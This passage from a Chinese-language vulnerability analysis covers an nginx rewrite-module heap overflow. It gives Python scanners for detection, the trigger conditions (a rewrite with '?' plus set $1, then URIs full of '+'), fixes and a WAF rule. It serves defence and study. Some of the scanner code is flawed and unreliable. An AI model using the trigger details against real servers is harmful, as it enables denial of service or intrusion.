└─ 标记 start_args_code 等设置标志位的代码点
└─ 对比 len 阶段和 run 阶段使用的引擎对象
↓
[4. 溢出风险断言模块]
└─ 基于双引擎结果计算 buffer 分配大小 vs 实际写入大小
└─ 如果 lcode(&le) 和 code(&e) 中的条件判断结果不一致 → 触发告警
↓
[5. 批量扫描与报告模块]
└─ 扫描指定目录或 GitHub 仓库的 nginx 源码
└─ 生成风险报告:每个模块的引擎使用情况、风险等级、修复建议5.2 ⚙️ 配置语义分析模块
第一个检测层次在配置层。漏洞的触发需要特定的配置组合,通过解析 nginx.conf 就可以筛选出高危配置:
def scan_nginx_config(config_path):
"""
扫描 nginx 配置,检测 rewrite+set+捕获组的危险组合。
输出所有可能触发 CVE-2026-42945 的 location 块。
"""
import re
with open(config_path) as f:
content = f.read()
# 提取所有 location 块
locations = re.finditer(
r'location\s+[^{]*\{([^}]+\})',
content, re.DOTALL
)
for loc in locations:
block = loc.group(1)
has_rewrite_q = bool(re.search(
r'rewrite\s+\S+\s+\S*\?', block
))
has_set_capture = bool(re.search(
r'set\s+\$\w+\s+\$(\d+)', block
))
if has_rewrite_q and has_set_capture:
print(f'[高危] location 同时使用了 rewrite? 和 set $1')
print(f' 触发条件满足 → 发送含大量 + 号的 URI 即可触发堆溢出')针对实际生产环境,以下配置模式应当触发告警:
风险等级 | 配置模式 | 说明 |
高危 | rewrite ...? ... + set $var $1 | 完全满足 CVE-2026-42945 触发条件 |
中危 | rewrite ...? ... + set $var $2 | 两遍扫描中触发条件相同,但捕获组的位置影响溢出计算 |
低危 | rewrite 中带 ? 但不使用 set | 不触发溢出,但理论上设置 is_args 后任何后续的复杂变量展开都可能受影响 |
5.3 📄 源码模式匹配模块
这是框架的核心。对 nginx 源码中所有使用 ngx_http_script_engine_t e, le 双引擎模式的模块进行扫描。我在 4.2 节中展示的 nginx-ele-scanner.py 就是这个模块的实现基础。
扫描逻辑的核心代码如下:
def scan_source_for_dual_engine(src_dir):
"""
在 nginx 源码中搜索所有 e,le 双引擎使用点,
并评估每个模块是否受 is_args 状态不一致影响。
"""
import re
patterns = {
'dual_engine': re.compile(
r'ngx_http_script_engine_t\s+e(\s*,\s*le|\s*;)'
),
'memzero_le': re.compile(
r'ngx_memzero\s*\(\s*&le\s*,'
),
'start_args': re.compile(
r'ngx_http_script_start_args_code'
),
'is_args': re.compile(r'is_args'),
}
# 对每个 .c 文件应用模式匹配...
# 结果输出见 4.2 节的扫描结果表格关键判断逻辑:
def assess_risk(match_info):
"""
评估模块的风险等级。
如果模块同时包含 dual_engine、start_args 和 is_args,
则存在 rewrite 模块中的状态不一致风险。
"""
if (match_info.get('start_args') and
match_info.get('is_args') and
match_info.get('dual_engine')):
return 'CRITICAL' # CVE-2026-42945 同类漏洞
if match_info.get('dual_engine'):
return 'LOW' # 有双引擎模式但不受 is_args 影响
return 'NONE'5.4 🔍 状态变量追踪模块
这是框架中最具方法论价值的部分。传统漏洞扫描器只做模式匹配,而状态变量追踪试图理解 is_args 标志位在 nginx 请求处理生命周期中的传播路径。
is_args 的设置路径如下:
rewrite 替换串检测到 '?'
→ ngx_http_script_start_args_code()
→ e->is_args = 1 (第 1024-1030 行)
↓
set $var $1 执行
→ ngx_http_script_complex_value_code()
→ ngx_memzero(&le) (第 1766 行)
→ le.is_args = 0 (被清零)
↓
lcode(&le) → copy_capture_len_code()
→ if (e->is_args ...) (第 1344 行)
→ ★ 传入的是 le 但函数检查的是 e → 状态不一致追踪脚本可以自动提取这样的状态传播路径:
def trace_is_args_path(source_file):
"""
从源码中提取 is_args 的写入点和读取点,
自动构建状态传播路径。
"""
import re
with open(source_file) as f:
lines = f.readlines()
writes = [] # is_args 被写入的位置
reads = [] # is_args 被读取的位置
memzero = [] # 引擎被清零的位置
for i, line in enumerate(lines, 1):
if 'is_args' in line:
if '=' in line and '==' not in line:
writes.append((i, line.strip()))
elif 'if' in line or 'while' in line:
reads.append((i, line.strip()))
if 'ngx_memzero' in line and 'le' in line:
memzero.append((i, line.strip()))
return {
'writes': writes,
'reads': reads,
'memzero': memzero,
'inconsistency': any(
w[0] < m[0] < r[0]
for w in writes
for m in memzero
for r in reads
)
}这个模块最直接的价值在于:它可以自动发现 memzero 清零子引擎后,函数仍然检查「主引擎状态」的问题模式。CVE-2026-42945 只是一个实例——同样的模式可能出现在 quote、flushed 等其他被 ngx_memzero 清零的字段中。
5.5 💥 溢出风险断言模块
扫描到双引擎不一致还不足以确认漏洞。还需要验证 len 阶段和 run 阶段的 buffer 计算结果确实存在差异:
def assert_overflow_risk(match_info, source_file):
"""
基于双引擎结果计算 buffer 分配大小 vs 实际写入大小,
自动断言溢出风险。
如果 lcode(&le) 中对 is_args 的判断结果 != code(&e) 中对 is_args 的判断结果,
且 lcode(&le) 使用 le 参数名但检查的是 e 引擎:
→ 直接告警 CRITICAL(CVE-2026-42945 的 e/le 不一致模式)
"""
risk = 'NONE'
details = []
# 检查 1:是否存在双引擎模式
if not match_info.get('dual_engine'):
return 'NONE', '无双引擎模式'
# 检查 2:是否存在 start_args 设置 is_args
if match_info.get('start_args') and match_info.get('is_args'):
# 检查 3:len 阶段的函数是否使用 le 参数但检查 e 的状态
# CVE-2026-42945 的核心:lcode(&le) 传入 le,
# 但 copy_capture_len_code 内部判断的是 e->is_args
# 签名声明的是 e,但传进来的是 le → is_args=0
# 执行阶段 code(&e) → e->is_args=1
if 'ngx_http_script.c' in source_file:
# 检查 copy_capture_len_code 中 is_args 的使用
with open(source_file) as f:
content = f.read()
has_len_check = 'if ((e->is_args || e->quote)' in content
has_copy_check = 'if ((e->is_args || e->quote)' in content
if has_len_check and has_copy_check:
risk = 'CRITICAL'
details = [
'确认双引擎模式: e, le 使用 ngx_memzero(&le) 初始化',
'确认 start_args_code 设置 e->is_args = 1',
'确认 len 阶段 (lcode(&le)): 传入 le 但函数检查 e->is_args',
' → le.is_args = 0 → 返回原始捕获长度',
'确认 run 阶段 (code(&e)): 传入 e',
' → e.is_args = 1 → 执行 ngx_escape_uri 展开',
'结论: 分配大小 < 写入大小 → 堆缓冲区溢出 (CVE-2026-42945)',
]
return risk, details断言的数学基础很简单:对于任意捕获组 $n,假设捕获内容中有 N 个需要 escape 的字符(如 +),则:
len 阶段计算长度: L1 = cap[n+1] - cap[n] (原始长度,不走 escape)
run 阶段写入长度: L2 = cap[n+1] - cap[n] + 2×N (每个 + 展开为 %2B,1→3 字节)
当 N > 0 时,必有 L2 > L1 → 缓冲区溢出所以完整的鉴定链是:
if 模块同时包含 (e, le 双引擎)
AND (start_args_code 设置 is_args)
AND (copy_capture_len_code 中存在 e->is_args 判断)
AND (lcode(&le) 传入子引擎但函数签名检查主引擎):
→ CRITICAL(CVE-2026-42945 同类漏洞,无需继续验证)
elif 模块有双引擎但无 is_args 设置:
→ LOW(理论存在架构风险,但当前版本未触发不一致)
else:
→ NONE(不受此漏洞影响)这个断言逻辑直接嵌入到 nginx-ele-scanner.py 的 assess_risk() 函数中,已经在 4.2 节的扫描结果中得到验证——ngx_http_script.c 被准确判定为 CRITICAL,其他 7 个模块被判定为 LOW。
5.6 📊 批量扫描与报告模块
框架的最后一个组件是面向大规模源码的批量扫描能力。它配合 GitHub API,可以扫描互联网上公开的 nginx 源码仓库:
def batch_scan_github(query='nginx org:nginx', max_repos=50):
"""
扫描 GitHub 上公开的 nginx 源码仓库,
统计 e,le 双引擎模式的使用分布。
"""
import requests
# 搜索 nginx 源码仓库
repos = requests.get(
'https://api.github.com/search/repositories',
params={'q': query, 'per_page': max_repos}
).json()
results = []
for repo in repos.get('items', []):
# 对每个仓库运行源码模式匹配
result = scan_source_for_dual_engine(
f'https://github.com/{repo["full_name"]}'
)
results.append({
'repo': repo['full_name'],
'stars': repo['stargazers_count'],
'risk_modules': result
})
return results扫描报告示例:
扫描日期: 2026-06-27
扫描范围: nginx-1.30.0 源码 (src/ 目录)
总文件数: 13
发现 CRITICAL 风险模块: 1 (ngx_http_script.c)
发现 LOW 风险模块: 7 (proxy/grpc/fastcgi/uwsgi/scgi/proxy_v2/try_files)
无风险模块: 5
风险模块详情:
[CRITICAL] ngx_http_script.c
- 2处 e,le 双引擎声明
- 2处 ngx_memzero(&le)
- 2处 start_args_code
- 4处 is_args 引用
→ 确认存在状态不一致漏洞 (CVE-2026-42945)
[LOW] ngx_http_proxy_module.c
- 1处 e,le 双引擎声明
- 3处 le.ip 变量长度计算
→ 有双引擎但不涉及 rewrite 的 is_args 传递
[LOW] ngx_http_grpc_module.c
- 1处 e,le 双引擎声明
→ 同上
[LOW] ngx_http_fastcgi_module.c
- 1处 e,le 双引擎声明
→ 同上
[NONE] stream/ngx_stream_script.c
- 不使用 e,le 双引擎
- 不做 URI escape
→ 不受此漏洞影响5.7 ✨ 框架总结
这套自动化检测框架的逻辑可以概括为:
检测逻辑 = 配置层(rewrite?+set)
+ 源码层(e,le 双引擎)
+ 状态层(is_args 设置 vs 清零)
+ 断言层(len 阶段 vs run 阶段条件不一致)它的价值在于超越单个 CVE。CVE-2026-42945 的 is_args 不一致只是一个具体表现。框架的模块化设计允许安全研究员:
- 快速验证新模块:当 nginx 新增模块时,运行一次扫描就能确认是否沿用了双引擎模式
- 扩展到其他状态变量:将 is_args 替换为 quote、flushed 等其他被 ngx_memzero 清零的字段,可以发现同 bug class 的更多变体
- 跨版本追踪:对比不同 nginx 版本中双引擎模式的变化,定位修复补丁的生效范围
整个框架的 Python 实现不到 300 行(含 nginx-ele-scanner.py),已随本文开源。相比传统的基于签名或规则的检测方案,这套方法从漏洞的架构根因出发,检测的是「出错的模式」而非「出错的结果」——因此对同一 bug class 的不同变体天然具有泛化能力。
🛡️ 六、修复方案与防御
6.1 ⬆️ 升级版本
- NGINX Open Source → 1.31.0 或 1.30.1
- NGINX Plus → R36 P4 / R35 P2 / R32 P6
- OpenResty → 自查是否使用了受影响的核心模块(基于 nginx 1.21.4,在漏洞影响范围内)
- Tengine → 自查是否同步了上游修复(基于 nginx 1.22.x,同样受影响)
6.2 🇨🇳 国产化组件影响分析
国产化场景下,OpenResty 和 Tengine 是 nginx 的重要替代品。两者都复用了上游 nginx 的 HTTP 核心模块,包括 ngx_http_script.c。
OpenResty
- 基于 nginx 1.21.4(漏洞版本范围 0.6.27~1.30.0 完全覆盖此版本)
- ngx_http_script.c 保持上游原样,无任何修改
- OpenResty 默认启用 rewrite 模块 → 受影响
Tengine
- Tengine 2.4.0 基于 nginx 1.22.x
- 核心模块代码同步上游,ngx_http_script.c 未被修改
- rewrite 模块默认启用 → 受影响
自查方法
# 检查是否使用了 rewrite+set 的危险组合
$ grep -rn 'rewrite.*?' /etc/nginx/conf.d/ 2>/dev/null | head -10
/etc/nginx/conf.d/api.conf: rewrite ^/api/(.*)$ /internal?migrated=true;
$ grep -rn 'set.*\$1' /etc/nginx/conf.d/ 2>/dev/null | head -10
/etc/nginx/conf.d/api.conf: set $original_endpoint $1;
# 如果同一 location 同时出现 rewrite? 和 set $1,则存在风险
# 查看 nginx 版本(如果在 0.6.27~1.30.0 之间则受影响)
$ nginx -v 2>&1
nginx version: nginx/1.30.0结论:所有基于受影响 nginx 版本(0.6.27~1.30.0)的发行版,包括 OpenResty 和 Tengine,均受影响。升级上游到 nginx 1.31.0+ 或在国产化项目中同步修复补丁。
6.3 🩹 临时规避方案
无法立即升级时,可以通过修改配置规避:
方案 A:避免 rewrite 中带 ? 的同时使用 set 捕获捕获组
将:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1; # ← 危险
}改为:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true break;
# 去掉 set,或者在 rewrite 前使用
}
location /internal {
internal;
proxy_pass http://backend;
}方案 B:在 rewrite 后重置变量
如果必须同时使用,在 set 后重置 is_args 相关状态:
set $original_endpoint $1;
set $original_endpoint ""; # 立即重置,避免溢出但这只是绕过了触发条件,底层 bug 仍然存在。
6.4 🧱 WAF 规则
配置 ModSecurity 拦截包含大量 + 号的 URI:
SecRule REQUEST_URI "@rx \+{100,}" "id:10001,phase:1,deny,msg:'Nginx Rift exploit attempt'"
正常请求中 URI 路径包含连续 100 个以上 + 的场景极为罕见。这条规则能拦截大多数粗放的堆溢出尝试。
📖 总结
CVE-2026-42945 是一个潜伏了 18 年的堆缓冲区溢出漏洞。它不是在复杂的加密协议里、不是在第三方库的某个晦涩边界中——它就在 nginx 自带的 rewrite 模块里,任何一个用 nginx 做 API 网关的团队都可能踩到。
根因:nginx 脚本引擎的两遍扫描在长度计算和执行阶段使用了不同的 is_args 状态。子引擎 le 在 ngx_memzero 后被清零,主引擎 e 保留了 rewrite 设置的标志位。同一行 if 判断,两个引擎走出了两套结果。
触发条件:rewrite 替换串带 ? + set 引用捕获组 $1。看上去像运维的正常配置,实际上在 nginx 内部触发了一条 17 年无人检查的代码路径。
利用门槛:GDB 实战分析揭示了三重障碍——堆布局中 buffer 与 pool 不连续导致溢出方向相反(dist_to_cleanup 为负值)、cleanup 节点在溢出路线上但 handler 被覆盖清零、glibc 2.35 已移除 __free_hook 使传统利用手法失效。不是蠕虫式漏洞,但在靶向攻击中需要组合信息泄露和精确堆布局控制。
👥 三类读者的启示
对运维人员:
检查所有 nginx 配置中 rewrite 和 set 同时使用的 location,用以下命令一键扫描:
- grep -r 'rewrite.*?' /etc/nginx/ -A5 | grep -B5 'set.*\$[0-9]'
- 升级到 nginx 1.31.0+ 或 1.30.1
- 如果你在用 OpenResty 或 Tengine,同样在受影响范围内
- rewrite 模块是 2026 年的高危攻击面(两个 CVE),值得重点关注
- 审计建议:即使不满足 rewrite? + set $1 的显式组合,任何在同一个 location 中同时使用 rewrite(替换串带 ?)和变量捕获的配置都应视为潜在风险
对开发者:
- e, le 双引擎模式是 nginx 的架构复用设计,但 CVE-2026-42945 的问题集中在 rewrite 模块中同一请求生命周期内的跨阶段状态传递。如果你在维护 nginx 分支或类似配置生成系统,需要考虑的是架构层面的输出转义层,而不是在每个 %s 上打补丁
- ngx_memzero 清零子引擎的设计方式——不知道哪些状态需要继承、哪些需要重置——是这个 bug class 的架构根源
对安全研究员:
- 这不是 0day,但理解它的 bug class 比追赶 CVE 编号更有价值。本次审计发现 stream 模块没有双引擎模式(不受影响),而 proxy/grpc/fastcgi 等 7 个 HTTP 模块虽有 e, le 声明,但每个模块独立初始化 le,不涉及 rewrite 的 is_args 传递。同样的「子函数检查了主引擎状态」模式如果存在,更可能出现在 quote、flushed 等其他被 ngx_memzero 清零的字段中
- 自动化代码扫描在「发现沉睡漏洞」上有效。nginx-ele-scanner.py(附于本文)可以自动审计源码中所有使用双引擎模式的模块
最后回到开头:一个 ? 号,两行配置代码的组合,18 年没人注意的代码路径。网络安全里最有意思的漏洞,往往是两个正常功能叠加后产生的意外行为。不是谁写错了代码,是组合后的系统行为超出了单组件的预期。
🙏 致谢:感谢腾讯云提供的测试环境,感谢 depthfirst 公司的自动化代码分析系统发现了这个沉睡 18 年的漏洞。